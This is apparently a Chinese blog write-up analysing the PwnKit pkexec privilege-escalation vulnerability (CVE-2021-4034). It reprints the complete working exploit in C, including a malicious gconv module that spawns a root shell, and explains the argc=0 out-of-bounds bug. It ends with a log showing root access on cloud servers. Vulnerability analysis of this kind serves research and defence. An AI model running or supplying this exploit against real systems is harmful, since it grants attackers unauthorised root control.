cve-2021-4034_简约分析

前言

好基友H3h3QAQ给了个cve-2021-4043的exp,exp测试后发现可以用,看了下大概内容觉得应该思路上不是很难去分析,就去扒拉了pkexec的源码参照分析。

EXP大体思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";

int main(int argc, char *argv[],char *envp[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

核心的操作总结的话就2部分:

1因为 argv 和 envp 指针在内存中是连续的,如果argc设置为0的话,那么 argv [1] 是等于envp [0],所以可以通过execve函数来传递环境变量GCONV_PATH。

2.pkexec本身存在数组越界漏洞(稍后分析),会导致argv[1]被赋值为我们用户可控的值,argv[1]==envp[0]导致了环境变量的更改,最后再通过pkexec的g_printerr函数恶意执行命令。

分析前置知识

1.argv 和 envp的连续性体现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[],char *envp[]) {
printf("argc=%d\n",argc);
for(int hrp=0;argv[hrp+1]!=NULL;hrp++)
{
printf("argv[%d]=%s\n",hrp,argv[hrp]);
}
int i;
for(i=0;i<7;i++){
printf("envp[%d]=%s\n",i,envp[i]);
}
printf("\n");
for(int n = 0; argv[n] ; n++){
printf("argv[%d] : %p\n",n,&argv[n]);
}

for(int n = 0; argv[n] ; n++){
printf("envp[%d] : %p\n",n,&envp[n]);
}
return 0;
}

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
q@ubuntu:~/Desktop/cve-2021-4043-fenxi$ ./demo2 1
argc=2
argv[0]=./demo2
envp[0]=XDG_VTNR=7
envp[1]=XDG_SESSION_ID=c2
envp[2]=CLUTTER_IM_MODULE=xim
envp[3]=XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/q
envp[4]=SESSION=ubuntu
envp[5]=GPG_AGENT_INFO=/home/q/.gnupg/S.gpg-agent:0:1
envp[6]=TERM=xterm-256color

argv[0] : 0x7fffb1bcda48
argv[1] : 0x7fffb1bcda50
envp[0] : 0x7fffb1bcda60
envp[1] : 0x7fffb1bcda68

不难发现此时的argv[0]和envp[0]的距离only 0x10大小

我们继续编写demo让argc=0来看看结果

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[],char *envp[]) {
char *env[] = { "confirm", "HRP1", "HRP2", "HRP-medium", "HRP4", "HRP5",NULL };
execve("./demo2", (char*[]){NULL}, env);
return 0;
}

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
q@ubuntu:~/Desktop/cve-2021-4043-fenxi$ ./demo3
argc=0
argv[0]=(null)
argv[1]=confirm
argv[2]=HRP1
argv[3]=HRP2
argv[4]=HRP-medium
argv[5]=HRP4
envp[0]=confirm
envp[1]=HRP1
envp[2]=HRP2
envp[3]=HRP-medium
envp[4]=HRP4
envp[5]=HRP5
envp[6]=(null)

可以看见argv[0]已经成功的和envp[0]相等了。

2.环境变量GCONV_PATH的作用

g_printerr()会调用iconv_open()。

iconv_open函数执行过程:

1.寻找系统变量GCONV_PATH提供的gconv-modules文件

2.再根据该文件去找.so文件,然后调用so文件里面的gconv()与gonv_init()函数,直接导致了可能的恶意代码执行。

pkexec.c分析

第一部分

1
for (n = 1; n < (guint) argc; n++)

第534行的这里,变量n初始化成了1,我们利用execve让argc等于0,导致n<argc的条件不满足

第二部分

1
2
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]);

由于第一部分的漏洞造成了如下结果

path=argv[1]==envp[0]=GCONV_PATH

也就是说现在的环境变量GCONV_PATH=./pwnkit

我们结合前置知识分析的第二部分环境变量,就可以设置.so文件为exp里的如下,这样配合上pkexec.c本身的g_printerr()就可以触发执行pwnkit文件执行里面的恶意代码

1
2
3
4
5
6
7
8
9
10
11
char *shell = 
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";

第三部分g_printerr函数的调用点寻找

这里面有很多个g_printerr的调用地方,但是要找到可以稳定调用的就只有2个地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
  if (g_strcmp0 (key, "SHELL") == 0)
{
/* check if it's in /etc/shells */
if (!is_valid_shell (value))
{
log_message (LOG_CRIT, TRUE,
"The value for the SHELL variable was not found the /etc/shells file");
g_printerr ("\n"
"This incident has been reported.\n");
goto out;
}
}
else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
strstr (value, "%") != NULL ||
strstr (value, "..") != NULL)
{
log_message (LOG_CRIT, TRUE,
"The value for environment variable %s contains suscipious content",
key);
g_printerr ("\n"
"This incident has been reported.\n");
goto out;
}

ret = TRUE;

out:
return ret;
}

一个是构造错误的”SHELL”变量的值,另一个是构造”XAUTHORITY”变量中出现”%”,”..”,”/“这几个字符其中一个

这也是exp中为什么要设置shell的原因。

复现测试

测试了百度云的16,18,20的Ubuntu均可执行,腾讯云的Ubuntu20也可以(没有另外两个版本的腾讯云服务器。贫穷orz)

腾讯云测试结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@VM-12-3-ubuntu:~# adduser pwnkit
Adding user `pwnkit' ...
Adding new group `pwnkit' (1005) ...
Adding new user `pwnkit' (1005) with group `pwnkit' ...
Creating home directory `/home/pwnkit' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for pwnkit
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
root@VM-12-3-ubuntu:~# su pwnkit
pwnkit@VM-12-3-ubuntu:/root$ cd /tmp
pwnkit@VM-12-3-ubuntu:/tmp$ gcc -o cve cve-2021-4034-poc.c
pwnkit@VM-12-3-ubuntu:/tmp$ ./cve
# id
uid=0(root) gid=0(root) groups=0(root),1005(pwnkit)
#

最后几句话总结

利用execve伪造环境变量,设置好SHELL以及GCONV_PATH,并且使得argc=0,触发漏洞使得path=argv[1]==envp[0]=GCONV_PATH=./pwnkit 。最后再利用错误的SHELL环境变量触发g_printerr函数导致的一连串反应去执行已经写好的提权用的so文件里面的代码

1
2
har *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);

这个漏洞的通杀性非常强,centos也可以用,而且我的腾讯云和百度云的服务器选取安装的镜像都是今天(2022.4.10)现装

证明以前的大部分机子也是存在这个漏洞的,真是个可怕的洞。

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信